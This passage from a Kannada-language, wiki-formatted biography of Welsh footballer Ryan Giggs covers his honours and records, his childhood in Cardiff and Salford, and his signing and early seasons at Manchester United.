ಆತ ಆಡಿದ್ದಾನೆ. ಅತ [[ಲೆಫ್ಟ್ ವಿಂಗರ್]] ನಾಗಿ ಆಡುವ ರೂಢಿ ಬೆಳೆಸಿಕೊಂಡನಲ್ಲದೇ 2000ನೆಯ ಇಸವಿ ವರೆಗೂ ಆತ ಇದನ್ನೇ ಕರಗತ ಮಾಡಿಕೊಂಡ,ಆತನನ್ನು ಕೊನೆಯ ವರ್ಷಗಳ[[ಲ್ಲಿಪ್ಲೇ ಮೇಕಿಂಗ್]] ನ ಉತ್ತಮ ಕುಶಲತೆಯಲ್ಲಿ ಹೆಸರು ಮಾಡಿದ. ಗಿಗ್ಸ್ ನಿಗೆ ಫೂಟ್ ಬಾಲ್ ಆಟದಲ್ಲಿ ಸಾಕಷ್ಟು ದಾಖಲೆಗಳ ಸರಣಿ ಇದೆ.ಇಂಗ್ಲಿಷ್ ಫೂಟ್ ಬಾಲ್ ಇತಿಹಾಸದಲ್ಲಿ ಆತ ಅತ್ಯಂತ ವೈಭಯುತವಾಗಿ ಮೆರೆದ ಕ್ರೀಡಾಪಟು. ಆತ 16 ಮೇ 2009ರಲ್ಲಿ 11 ಇಂಗ್ಲಿಷ್ ಲೀಗ್ ಟಾಪ್ ಡಿವಿಜನ್ ನಲ್ಲಿ ಇಷ್ಟು ಬಿರದು ಮತ್ತು ಪ್ರಶಸ್ತಿ ಏಕೈಕ ಆಟಗಾರನಾಗಿದ್ದಾನೆ. ಸತತವಾಗಿ ಎರಡು ಬಾರಿ [[PFA ಯಂಗ್ ಪ್ಲೇಯರ್ ಆಫ್ ದಿ ಇಯರ್]] ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದ ಗಿಗ್ಸ್ಇತಿಹಾಸ ನಿರ್ಮಿಸಿದ(1992 ಮತ್ತು 1993)ಅದೂ ಅಲ್ಲದೇ [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ನಲ್ಲಿ ಸಿಂಗಲ್ ಸೀಜನ್ ನಲ್ಲಿ ಗೋಲು ಬಾರಿಸಿದ ಮತ್ತು ಸತತವಾಗಿ ಆಡಿದ ಆಟಗಾರ ಎನಿಸಿದ್ದಾನೆ, ಗಿಗ್ಸ್ ಗೆ ಸ್ಥಳೀಯ ಮತ್ತು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ತನ್ನ ಭೂಖಂಡದ ಅತ್ಯುತ್ತಮ [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ನ ಪ್ರಥಮ ಆಟಗಾರ ಎನಿಸಿಕೊಂಡಿದ್ದಾನೆ.ಇತಿಹಾಸದಲ್ಲೇ 11 ಫೂಟ್ ಬಾಲ್ ಕ್ರೀಡಾ ಋತುಗಳಲ್ಲಿ ಪ್ರಥಮ ಸ್ಥಾನದಲ್ಲಿಆತ ಪ್ರಶಸ್ತಿ ಗಿಟ್ಟಿಸಿದ್ದಾನೆ.[[PFA]]ನ ಟೀಮ್ ಆಫ್ ದಿ ಸೆಂಚುರಿ 2007ರ ಕ್ರೀಡಾ ಋತುವಿನಲ್ಲಿಆತ 11ನೆಯ ಉನ್ನತ ಸ್ಥಾನ ಪಡೆದಿದ್ದಾನೆ.ಆ ದಶಕದ 2003ರಲ್ಲಿ ಇಂಗ್ಲಿಷ್ ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ಟೀಮ್ ಆಫ್ ದಿ ಡೆಕೇಡ್ ಮತ್ತು[[FA ಕಪ್]] ಟೀಮ್ ಆಫ್ ದಿ [[ಸೆಂಚುರಿ]] ಗರಿಗೂ ಆತ <ref name="givemefootball2">{{cite web |title=Teams of the Century |url=http://www.givemefootball.com/display.cfm?article=11019&type=1&area=centteams&page=2 |accessdate=5 September 2007 }}</ref> ಪಾತ್ರರಾಗಿದ್ದಾರೆ. ಪ್ರಿಮಿಯರ್ ಲೀಗ್ ನ ಎಲ್ಲಾ 11 ಗೆದ್ದ ಪಂದ್ಯಗಳಲ್ಲಿಆಡಿದ ಏಕೈಕ ಯುನೈಟೆಡ್ ಆಟಗಾರ ಎನಿಸಿದ್ದಾನೆ.ಮೂರೂ [[ಲೀಗ್ ಕಪ್]] ನ್ನು ಗೆದ್ದ ತಂಡದ ಸದಸ್ಯ ಆಟಗಾರನಾಗಿದ್ದಾನೆ. [[2008ರ UEFA ನ ಚಾಂಪಿಯನ್ ಲೀಗ್ ನ ಅಂತಿಮ ಪಂದ್ಯಾವಳಿ]]ಗಳು ಮೇ 21,2008ರಲ್ಲಿ ನಡೆದಿದ್ದು ಆ ಪಂದ್ಯಗಳಲ್ಲಿ [[ಸರ್ ಬಾಬಿ ಚಾರ್ಲ್ಟನ್]] ನ 758 ಬಾರಿ ಸ್ಪರ್ಧಿಸಿದ ದಾಖಲೆ ಮುರಿದ ಈತ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ನ ಕ್ಲಬ್ ನ ಸಾರ್ವಕಾಲಿಕ ನಾಯಕನಾಗಿ ಕಾಣಿಸಿದ ದಾಖಲೆ <ref>{{cite news |title=Spot-on Giggs overtakes Charlton |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/7411587.stm |publisher=BBC Sport |date=21 May 2007 |accessdate=20 November 2008 }}</ref> ಮಾಡಿದ್ದಾನೆ. ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದ ವೆಲ್ಶ್ [[ನ್ಯಾಶನಲ್ ತಂಡ]]ಕ್ಕಾಗಿ ಆತ ಆಡಿದ್ದು ತಾನು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಫೂಟ್ ಬಾಲ್ ಆಟಗಾರನಾಗಿ ಜೂನ್ 2,2007ರಲ್ಲಿ ನಿವೃತ್ತಿಗಿಂತ ಮೊದಲು,ಅದೂ ಅಲ್ಲದೇ ತನ್ನ ದೇಶವನ್ನು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಪ್ರತಿನಿಧಿಸಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರನೆಂಬ ಹೆಗ್ಗಳಿಕೆಗೂ ಆತ ಪಾತ್ರನಾಗಿದ್ದಾನೆ. ಫೂಟ್ಬಾಲ್ ವಲಯದಲ್ಲೇ ಗಿಗ್ಸ್ ಹಲವಾರು ಗೌರವಗಳಿಗೆ ಪಾತ್ರನಾಗಿದ್ದಾನೆ;ಅದರಲೂ [[ಫೂಟ್ಬಾಲ್ ಲೀಗ್ ನ100 ತಾರೆ]]ಯರಲ್ಲಿ ಒಬ್ಬ ಎಂದು ವಿಶ್ವ ಇತಿಹಾಸದಲ್ಲಿ ತನ್ನ ಹೆಸರು ದಾಖಲಿಸಿದ್ದಾನೆ.(ಈ ಪಟ್ಟಿಯ ಕೊನೆಯಲ್ಲಿದ್ದ ಅತ್ಯಂತ ಕ್ರಿಯಾಶೀಲ ಆಟಗಾರ)[[OBE]]ನ ಕ್ವೀನ್ಸ್ 2007ರಲ್ಲಿನ ಇಂಗ್ಲೆಂಡ್ ರಾಣಿಯ ಹುಟ್ಟುಹಬ್ಬದ ಗೌರವಾರ್ಥ ನೀಡಿದ ಗೌರವಕ್ಕೆ ಪಾತ್ರರಾದವರಲ್ಲಿ ಆತನೂ ಒಬ್ಬನಾಗಿದ್ದಾನೆ.ಅದಲ್ಲದೇ 2005ರಲ್ಲಿ ಇಂಗ್ಲಿಷ್ ಫೂಟ್ಬಾಲ್ ಗಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ ಈತ [[ಇಂಗ್ಲಿಷ್ ಫೂಟ್ಬಾಲ್ ಹಾಲ್ ಆಫ್ ಫೇಮ್]] ನ ಪಟ್ಟಿಯಲ್ಲಿ ವಿರಾಜಮಾನನಾಗಿದ್ದಾನೆ. ಆತನನ್ನು 2009ರಲ್ಲಿ [[BBC ಸ್ಪೋರ್ಟ್ಸ್ ಪರ್ಸಾನಾಲಿಟಿ ಆಫ್ ದಿ ಇಯರ್]] ಎಂದು <ref>{{cite news|url=http://www.telegraph.co.uk/sport/6804550/Ryan-Giggs-wins-BBC-Sports-Personality-of-the-Year-2009.html|title=Ryan Giggs wins BBC Sports Personality of the Year 2009 |last=Leach|first=Ben|publisher=''[[Daily Telegraph]]''|accessdate=13 December 2009}}</ref> ಹೆಸರಿಸಲಾಯಿತು. == ಆರಂಭಿಕ ವರ್ಷಗಳು == ರಿಯಾನ್ ಜೊಸೆಫ್ ವಿಲ್ಸನ್ [[ಕ್ಯಾಂಟನ್]] ನ [[ಸೇಂಟ್ ಡೇವಿಡ್ ಆಸ್ಪತ್ರೆ]]ಯಲ್ಲಿ ಜನಿಸಿದ. ಆತ [[ಕಾರ್ಡಿಫ್]] RFC ಗೆ [[ಡ್ಯಾನ್ ವಿಲ್ಸನ್]] ನ [[ರಗ್ ಬೈ ಯುನಿಯನ್]] ಆಟಗಾರನಾಗಿದ್ದ,ಇದೇ ರೀತಿ ಲಿನ್ನೆ ಗಿಗ್ಸ್ (ಸದ್ಯ ಲಿನ್ ಜಾನ್ಸನ್ ) ಗಿಗ್ಸ್ ತನ್ನ ಬಾಲ್ಯವನ್ನು [[ಇಲ್ಯಿ]]ಯಲ್ಲಿಕಳೆದ;ಇದು ಪಶ್ಚಿಮ ಕಾರ್ಡಿಫ್ ನ [[ಉಪನಗರ]]ವಾಗಿದೆ.ಆದರೆ ತನ್ನ ಅತಿ ಹೆಚ್ಚು ವೇಳೆಯನ್ನು ತನ್ನ ತಾಯಿಯ ಪೋಷಕರೊ6ದ್ಗೆ ಕಳೆದನಲ್ಲದೇ ಈ ಸಮಯದಲ್ಲಿ [[ಪೆಂಟ್ರೇಬೇನ್]] ನಲ್ಲಿರುವ ತನ್ನ ಮನೆಯ ರಸ್ತೆಯಲ್ಲಿ ಫೂಟ್ಬಾಲ್ ಆಟವಾಡುವ ಹವ್ಯಾಸ ಬೆಳೆಸಿಕೊಂಡಿದ್ದ. ಸುಮಾರು 1980ರಲ್ಲಿ ಗಿಗ್ಸ್ ಆರು ವರ್ಷದವನಿದ್ದಾಗ ಆತನ ತಂದೆ ರಗ್ ಬೈ ಆಟದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವುದಕ್ಕಾಗಿ [[ಸ್ವಿಂಟೊನ್ RLFC]]ಯೊಂದಿಗೆ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡು ನಂತರ ತನ್ನ ಕುಟುಂಬವನ್ನು ಅನಿವಾರ್ಯವಾಗಿ [[ಗ್ರೇಟರ್ ಮ್ಯಾಂಚೆಸ್ಟರ್]] ನ ಸಾಲ್ಫೊರ್ಡ್ ಗೆ ಸ್ಠಳಾಂತರಿಸಿದ. ಈ ಸ್ಠಳಾಂತರವು ಗಿಗ್ಸ್ ನಿಗೆ ಕೊಂಚ ಆಘಾತಕಾರಿಯಾಗಿ ಪರಿಣಮಿಸಿತು.ಕಾರ್ಡಿಫ್ ನಲ್ಲಿ ತನ್ನ ತಾತ ಅಜ್ಜಿಯನ್ನು ಬಹುವಾಗಿ ಹಚ್ಚಿಕೊಂಡಿದ್ದ ಆತ ಶಾಲಾ ರಜೆಗಳಲ್ಲಿ ಅಥವಾ ವಾರಾಂತ್ಯದಲ್ಲಿ ಮಾತ್ರತನ್ನ ಪೋಷಕರ ಭೇಟಿ ಮಾಡುವ ಸಂದರ್ಭ ಎದುರಾಯಿತು. ಗಿಗ್ಸ್ ತನ್ನ ಪೋಷಕರ ವಿಭಿನ್ನ ಪ್ರಾದೇಶಿಕತೆಯಿಂದ ಒಂದು [[ಸಮ್ಮಿಶ್ರ ವರ್ಗ]]ಕ್ಕೆ ಸೇರಿದವನಾಗಿದ್ದ.ಆತನ ತಾತ [[ಸಿರಿಯಾ ಲೆಯೊನೆ]]ಯವರಾಗಿದ್ದರಿಂದ ಅವರ [[ವರ್ಗ ವೈಷಮ್ಯದ]] ತಾರತಮ್ಯಕ್ಕೆ ಸ್ಗಿಗ್ಸ್ ಬಾಲಕ <ref>{{cite news |url=http://www.mirror.co.uk/news/hopenothate/2008/04/30/ryan-giggs-you-must-speak-out-on-abusers-115875-20399451/ |title=Ryan Giggs: You must speak out on abusers |date=30 April 2008 |work=[[Daily Mirror]] |accessdate=22 December 2008 }}</ref> ಬಲಿಯಾಗಬೇಕಾಯಿತು. ಮ್ಯಾಂಚೆಸ್ಟರ್ ಗೆ ಸ್ಥಳಾಂತರದ ನಂತರ ಗಿಗ್ಸ್ ಸ್ಥಳೀಯ ಡೀನ್ FC ತಂಡದಲ್ಲಿಕಾಣಿಸಿಕೊಂಡ[[,ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸಿಟಿ]] ಸ್ಕೌಟ್ ಡೆನ್ನಿಸ್ ಸ್ಕೊಫೀಲ್ಡ್ ಅವರ ತರಬೇತಿಯಲ್ಲಿ ಆತ ಪಳಗಿದ. ಆತನ ಡೀನ್ಸ್ ಗಾಗಿ ಆಡಿದ ಮೊದಲ ಪಂದ್ಯ9-0 ಸ್ಟ್ರೆಟ್ ಫೊರ್ಡ್ ವಿಕ್ಸ್ ವಿರುದ್ದ ಸರಣಿಯ ಸೋಲು ಕಂಡರೂ ಸಹ,ಹಲವಾರು ಜನರು ಆತನ ಬದ್ದತೆಯ ಬಗ್ಗೆ ಪ್ರಶಂಸೆ ಮಾದಿದರು. ಸ್ಕೊಫೀಲ್ಡ್ ;ಗಿಗ್ಗ್ಸ್ ನನ್ನು ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸಿಟಿಗೆ ಶಿಫಾರಸು ಮಾಡಿದ,ಅಲ್ಲದೇ ತನ್ನ ಸ್ಕೂಲ್ ಆಫ್ ಎಕ್ಸೆಲನ್ಸ್ ಗಾಗಿ ಆತ ಸಹಿ ಹಾಕಿದ. ಅದೇ ಸಮಯದಲ್ಲಿ ಗಿಗ್ಸ್ ಸಾಲ್ ಫೊರ್ಡ್ ಬಾಯ್ಸ್ ಗಾಗಿ ಆಡಲು ಆರಂಭಿಸಿದ[[,ಅನ್ ಫೀಲ್ಡ್]] ನಲ್ಲಿ 1987ರಲ್ಲಿ ನಡೆದ ಗ್ರನಡಾ ಸ್ಕೂಲ್ಸ್ ಕಪ್ ಸ್ಪರ್ಧೆಯ ಅಂತಿಮ ಪಂದ್ಯವನ್ನು ತಲುಪಿದ. ಗಿಗ್ಸ್ ನಾಯಕತ್ವದ ಸಾಲ್ ಫೊರ್ಡ್ ತಂಡವು ತಮ್ಮ ಪ್ರತಿಸ್ಪರ್ಧಿ ಬ್ಲ್ಯಾಕ್ ಬರ್ನ್ ನೊಟ್ಟಿಗಿನ ಆಟದಲ್ಲಿ ವಿಜಯ ಸಾಧಿಸಿದರು. ಸ್ಕೌಟ್ ಮುಖ್ಯಸ್ಥಾನ [[ಲಿವರ್ ಪೂಲ್]] ನಲ್ಲಿ[[ರೊನ್ ಈಟ್ಸ್]]ಅವರು ಆತನಿಗೆ ಪಾರಿತೋಷಕ ನೀಡಿದರು. ಗಿಗ್ಸ್ ನ ಪ್ರದರ್ಶನದಿಂದ ಈಟ್ಸ್ ಪ್ರಭಾವಿತನಾಗಿ ಆತನನ್ನು ಲಿವರ್ ಪೂಲ್ ಮ್ಯಾನೇಜರ್ [[ಕೆನ್ನಿ ಡಾಲ್ಗ್ಲಿಷ್]] ಅವರಿಗೆ ಶಿಫಾರಸು ಮಾಡುವ ಮುಂಚೆಯೇ ಆತನನ್ನು ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆದ್ ನವರು ಆತನನ್ನು ಆಯ್ಕೆ ಮಾಡಿಕೊಂಡಿದ್ದರು. ಗಿಗ್ಸ್ ಸ್ಥಳೀಯ ಡೀನ್ಸ್ ತಂಡಕ್ಕಾಗಿ ಆಡುವಾಗ ಸ್ಥಳೀಯ ಸುದ್ದಿಗಾರ ಮತ್ತು ಹಿರಿ[[ಯ ಓಲ್ಡ್ ಟ್ರಾಫೊರ್ಡ್]] ಸ್ಟೆವರ್ಡ್ ಹರೊಲ್ಡ್ ಯುಡ್ ಆತನನ್ನು ಕುತೂಹಲದಿಂದ ಗಮನಿಸುತ್ತಿದ್ದ. ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ನ ಹಿರಿಯ ಸಿಂಬಂದಿಯೊಂದಿಗೆ ಇದನ್ನು ಆತ ಹೇಳುತ್ತಿದ್ದ,ಆದರೂ ಯಾರೂ ಗಿಗ್ಸ್ ನ ಆಟ ವೀಕ್ಷಿಸಲೋ ಯಾರು ಬರದೆ ಇದ್ದುದಾಗ ಆತ ಕೊನೆಗೆ ವೈಯಕ್ತಿಕವಾಗಿ [[ಅಲೆಕ್ಸ್ ಫೆರ್ಗುಸನ್]] ರೊಂದಿಗೆ ಮಾತನಾಡಿದ. ವುಡ್ ಯುನೈಟೆಡ್ ನ ಮುಖ್ಯಸ್ಥನಿಗೆ ಹೇಳಿದ್ದು,"ಆತನೀಗ ಈ ಕ್ಷಣದಲ್ಲಿ ಸಿಟಿಯೊಂದಿಗಿದ್ದಾನೆ,ನೀವು ಆತನನ್ನು ಕಳೆದುಕೊಂಡರೆ ಆಮೇಲೆ ಪಶ್ಚಾತಾಪ ಪದಬೇಕಾಗುತ್ತದೆ." ಆನಂತರ ಫರ್ಗುಸನ್ ಡೀನ್ ಪಂದ್ಯ ವೀಕ್ಷಿಸಲು ಓರ್ವ ವ್ಯಕ್ತಿಯನ್ನು ಕಳಿಸಿಕೊಟ್ಟ;ಗಿಗ್ಸ್ ನ ಆಟದಿಂದ ಪ್ರಭಾವಿತನಾದ ಆತ 1986ರಲ್ಲಿ ಕ್ರಿಸ್ಮಸ್ ಋತುವಿನ ಆಟದ ಪ್ರಾಯೋಗಿಕ ಪಂದ್ಯದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳಲು ಅವಕಾಶ ನೀಡಿದ. ಈ ಟ್ರಯಲ್ ಗೂ ಮುಂಚೆ ಗಿಗ್ಸ್ ಸಾಲ್ ಫೊರ್ಡ್ ಬಾಯ್ಸ್ ಗಾಗಿ 15ರೊಳಗಿನವರ ಯುನೈಟೆಡ್ ವಿರುದ್ಧ [[ದಿ ಕ್ಲಿಫ್]] ನಲ್ಲಿ ಆಟವಾಡಿ ಆತ [[ವಿಕ್ರಮ ಹ್ಯಾಟ್ರಿಕ್]] ಸಾಧಿಸಿದ,ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ಫರ್ಗುಸನ್ ತನ್ನ ಕಚೇರಿಯ ಕಿಟಕಿ ಮೂಲಕ ಈ ಆಟ ಗಮನಿಸುತ್ತಿದ್ದ. ನವೆಂಬರ್ 29,1987ರಲ್ಲಿ (ಆತನ 14ನೆಯ ಹುಟ್ಟುಹಬ್ಬದ ದಿನ)ಫೆರ್ಗುಸನ್ ಯುಣೆಟೆಡ್ ಸ್ಕೌಟ್ಸ್ ನ ಜೊಯಿ ಬ್ರೌನ್ ರೊಂದಿಗೆ ಗಿಗ್ಸ್ ನ ಮನೆಗೆ ತೆರಳಿ ಸ್ಕೂಲ್ ಬಾಯ್ ಸಂಸ್ಥೆಗೆ ಎರಡು ವರ್ಷಗಳ ಆಟದ ಕರಾರಿಗೆ ಸಹಿ ಹಾಕಿದ. .ಆತನಿಗಿರುವ [[YTS]] ಅಂದರೆ ಕರಾರು ಒಪ್ಪಂದಗಳನ್ನು ತೆಗೆದುಹಾಕಿ, ಉತ್ತಮ ಅವಕಾಶ ನೀಡಲು ಮೂರು ವರ್ಷಗಳಲ್ಲಿ ಆತ ಫೂಟ್ಬಾಲ್ ಆಟಕ್ಕಾಗಿ ವೃತ್ತಿಪರನಾಗುವಂತೆ ಆತನ ಮನವೊಲಿಸಲಾಯಿತು. ಗಿಗ್ಸ್ ಅಲ್ಲಿ ಸಹಿ ಹಾಕಿದ ಮತ್ತು ನಂತರದ ಬೆಳವಣಿಗೆಗಳು ಗಿಗ್ಸ್ [[ಇಂಗ್ಲೆಂಡ್]] ನ್ನು ಸ್ಕ್ಕೊಲ್ ಬಾಯ್ ಮಟ್ಟದಲ್ಲಿ ಪ್ರತಿನಿಧಿಸಿದ(ಆಗ ಆತ ತನ್ನ ಹೆಸರನ್ನು ರಿಯಾನ್ ವಿಲ್ಸನ್ ಎಂದು ಬಳಸಿದ)[[ಜರ್ಮನಿ]]ಯ ವಿರುದ್ಧ [[ವೆಂಬ್ಲೆ ಸ್ಟೇಡಿಯಮ್]] ನಲ್ಲಿ 1989ರಲ್ಲಿ ನಡೆದ ಪಂದ್ಯಗಳಲ್ಲಿ ಪಾಲ್ಗೊಂಡ. ರಿಯಾನ್ ತನ್ನ ಅಡ್ಡಹೆಸರನ್ನು ತನ್ನ 16ನೆಯ ವಯಸ್ಸಲ್ಲಿ ಬದಲಿಸಿಕೊಂಡ,ಅದೇ ಸಮಯದಲ್ಲಿ ಆತನ ತಾಯಿ ರಿಚರ್ಡ್ ಜಾನ್ಸನ್ ಎಂಬಾತನನ್ನು ಮರುಮದುವೆಯಾದಳು;"ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ಜಗತ್ತು ಆತ ತನ್ನ ತಾಯಿಯ ಪುತ್ರ ಎಂದು ಗೊತ್ತಾಗಲಿ ಎಂಬ ಉದ್ದೇಶವೂ ಇದರಲ್ಲಿತ್ತು." ಆತನ ತಂದೆ ತಾಯಿಗಳು ಇದಕ್ಕಿಂತ ಎರಡು ವರ್ಷ ಮುಂಚೆಯೇ <ref>[http://www.manutdzone.com/playerpages/RyanGiggs.htm ರಿಯಾನ್ ಗಿಗ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20090520011648/http://www.manutdzone.com/playerpages/RyanGiggs.htm |date=2009-05-20 }} on ManUtdZone.com</ref> ಪ್ರತ್ಯೇಕವಾಗಿದ್ದರು. ಆಗ [[ಲಾರಿ ಮ್ಯಾಕ್ ಮೆನಿ]] ಎಂಬಾತ [[ಇಂಗ್ಲಂಡ್ ಅಂಡರ21]] ತಂಡದ ತರಬೇತುದಾರನಾಗಿದ್ದ,ಗಿಗ್ಸ್ ಇಂಗ್ಲಿಷ್ ನವನಾ ಎಂಬ ಪರೀಕ್ಷೆಗೆ ನಿಂತ ಆದರೆ ಈತನ ಅಜ್ಜಿ-ತಾತಂದಿರು ಇಂಗ್ಲಿಷ್ ನವರಲ್ಲ ಎಂದು ಗೊತ್ತಾದಾಗ ಈತ ಕೇವಲ ವೇಲ್ಸ್ ಗಾಗಿ ಆಡಲು ಮಾತ್ರ ಯೋಗ್ಯನಾಗಿದ್ದಾನೆ ಎಂದು {{fact|date=December 2009}}ತೀರ್ಮಾನಿಸಿದ. == ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಮೊದಲ ತಂಡ == ಗಿಗ್ಸ್ ತನ್ನ ಮೊದಲ ಆಟದ [[1990-91ರ ಋತು]]ವಿನ ಪಂದ್ಯದಲ್ಲಿ ಆಡಿದ.ನಂತರ [[1991-92ರ ಋತು]]ವಿನ ಪಂದ್ಯಗಳ ನಿಯಮಿತ ಆಟಗಾರನಾಗಿ ಆಯ್ಕೆಯಾದ. ಈತನಿಂದಾಗಿ ಈ ಫೂಟ್ಬಾಲ್ ಕ್ಲಬ್ ಉತ್ತಮ ಸಾಧನೆಗಾಗಿ ಪಾರಿತೋಷಕಗಳನ್ನು ಪಡೆಯಿತಲ್ಲದೇ ಇಂತಹ ಆಟಗಾರನೊಬ್ಬ (23)ಇದನ್ನು <ref>{{cite web |url=http://www.manutd.com/default.sps?pagegid={FE60904B-C2A8-4E60-9B05-700DBBC29BBC}&section=playerProfile&teamid=458&bioid=91965 |title=Ryan Giggs |accessdate=28 October 2007 |publisher=ManUtd.com }}</ref> ತಂದುಕೊಟ್ಟ. ಸುಮಾರು 1992ರಿಂದ ಆತ 11 [[ಪ್ರಿಮಿಯರ್ ಲೀಗ್]] ನ ವಿನ್ನರ್ ಪ್ರಶಸ್ತಿ ಪದೆದುಕೊಂಡ.ನಾಲ್ಕು[[FA Cup]];ಮೂರು [[ಲೀಗ್ ಕಪ್]] ಗೆಲುವಿನ ಪ್ರಶಸ್ತಿ,ಎರಡು [[ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ಪಾರಿತೋಶಕಗಳನ್ನು ಆತ ತಂದುಕೊಟ್ಟ. [[.ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ನಿಂದ ಆತ ಹಲವಾರು ಗೌರವ ಪ್ರಶಸ್ತಿಗೂ ಪಾತ್ರನಾಗಿದ್ದಾನೆ. 2 FA ಕಪ್ ನ ಅಂತಿಮ ಪಂದ್ಯ ಮತು2 ಫೂಟ್ಬಾಲ್ ಲೀಗ್ ಕಪ್ ಅಂತಿಮ ಪಂದ್ಯಾವಳಿಗಳು ಅದೂ ಅಲ್ಲದೇ ನಾಲ್ಕು ಯುನೈಟೆಡ್ ನ ಪಂದ್ಯಗಳಲ್ಲಿ ಆತ ಎರಡನೆಯದಾಗಿ ಅವುಗಳಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿದ್ದಾನೆ. ಇತ್ತೀಚಿನ ದಿನಗಳಲ್ಲಿ ಗಿಗ್ಸ್ ಹಲವಾರು ಬಾರಿ ತಂಡದ ನಾಯಕನಾಗಿ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿದ್ದಾನೆ.ವಿಶೇಷವಾಗಿ 2007-08ರ ಸಂದರ್ಭದ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ ನಿಯಮಿತ ನಾಯಕನಾಗಿದ್ದ [[ಗ್ಯಾರಿ ನೆವೆಲ್ಲೆ]] ಹಲವಾರು ಗಾಯಗಳಿಂದಾಗಿ ನಾಯಕತ್ವದಿಂದ ದೂರ ಉಳಿಯಬೇಕಾಯಿತು. ಕ್ಲಬ್ ನ ಎಲ್ಲಾ ಋತುಗಳಲ್ಲಿನ ಎಲ್ಲಾ ಆಟಗಳಲ್ಲಿ ಭಾಗವಹಿಸಿ ಪ್ರಿಮಿಯರ ಲೀಗ್ ಗಾಗಿ ಆಟವಾಡಿದ ಏಕೈಕ ಆಟಗಾರನೆಂದರೆ ಗಿಗ್ಸ್ ಒಬ್ಬನೇ.ಅದಲ್ಲದೇ ಅತ್ಯತ್ತಮ ಅಂಕ-ಗೋಲ್ ಗಳಿಗೆ ಆತ ಕಾರಣನಾಗಿದ್ದಾನೆ. === ಚೊಚ್ಚಿಲ ಪಂದ್ಯ ಮತ್ತು ಪ್ರೊತ್ಸಾಹದಾಯಕ ಋತು === ಗಿಗ್ಸ್ ನವೆಂಬರ್ 29ನೆ 1990ರಲ್ಲಿ ಆತ ವೃತ್ತಿಪರನಾದ.(ಅದು ಆತನ 17ನೆಯ ಜನ್ಮದಿನ)ಸುಮಾರು [[1960ರಲ್ಲಿ]] ಪ್ರಸಿದ್ದಿ ಪಡೆದ [[ಜಾರ್ಜ್ ಬೆಸ್ಟ್]] ನಂತರ ಇಂಗ್ಲಿಷ್ ಫೂಟ್ಬಾಲ್ ನಲ್ಲಿ ಅತ್ಯುತ್ತಮ ಭವಿಷ್ಯ ಹೊಂದಿದವನೆಂದು ಹಲವಾರು ಮೂಲಗಳು ಹೇಳಿದವು. ಇದೇ ವೇಳೆಯಲ್ಲಿ ಯುನೈಟೆಡ್ [[FA ಕಪ್]]ನ್ನು ಗೆದ್ದುಕೊಂಡು,1986ರಲ್ಲಿ ಮ್ಯಾನೇಜರ್ [[ಅಲೆಕ್ಷ್ ಫೆರ್ಗುಸನ್]] ನ ನೇಮಕದ ನಂತರ ಟ್ರೋಫಿ ಗೆದ್ದುಕೊಂಡ ಸುಸಮಯ ಇದಾಗಿತ್ತು. ಎರಡು ಅತ್ಯಂತ ಸೂಕ್ಷ್ಮ ಋತುಗಳ ಪಂದ್ಯದಲ್ಲಿ ಲೀಗ್ ಅಂತಿಮ ಆಟಗಳಲ್ಲಿ ಉತ್ತಮ ಪ್ರದರ್ಶನ ನೀಡುವ ಮೂಲಕ ಪ್ರಾಬಲ್ಯ ಮೆರೆದಿದ್ದ [[ಲೈವ್ ಪೂಲ್]] ಮತ್ತು [[ಅರ್ಸೆನಲ್]] ಗಳಲ್ಲಿ ಲೀಗ್ ನ ಆಟ ಭಯ ಹುಟ್ಟಿಸಿತು. ಉತ್ತಮ ಆಟಗಾರ [[ಜೆಸ್ಪರ್ ಒಲ್ಸೆನ್]] ಲೀಗ್ ತೊರೆಯುವ ಎರಡು ವರ್ಷದ ಮೊದಲು ಎಡಭಾಗದ ಆಟಗಾರ ದೊರೆತು ಯಶಸ್ಸು ದೊರಕಿಸುವುದು ಫೆರ್ಗುಸನ್ ಗೆ ಕಠಿಣ ಕೆಲಸವಾಗಿತ್ತು. ಮೊದಲ ಬಾರಿಗೆ ಆತ [[ರಾಲ್ಫ್ ಮಿಲ್ನೆ]]ಗೆ ಸಹಿಹಾಕಿದ,ಆದರೆ ಯುನೈಟೆಡ್ ಗೆ ಯಶಸ್ವಿ ಆಟಗಾರನೆನಿಸಲಿಲ್ಲ,ಮತ್ತು ಫರ್ಗುಸನ್ [[ಸೌತ್ ಹ್ಯಾಂಪ್ಟನ್]] ನ ವಿಂಗರ್ [[ಡ್ಯಾನಿ ವಾಲೇಸ್]] ನನ್ನು ಸೆಪ್ಟೆಂಬರ್ 1989ರಲ್ಲಿ ತನ್ನ ಸ್ಥಾನ ಕಾಯ್ದುಕೊಂಡ. ಆದರೆ ವಾಲೇಸ್ ತನ್ನ ಸೌತ್ ಕೋಸ್ಟ್ ಆಟದಲ್ಲಿ ತನ್ನ 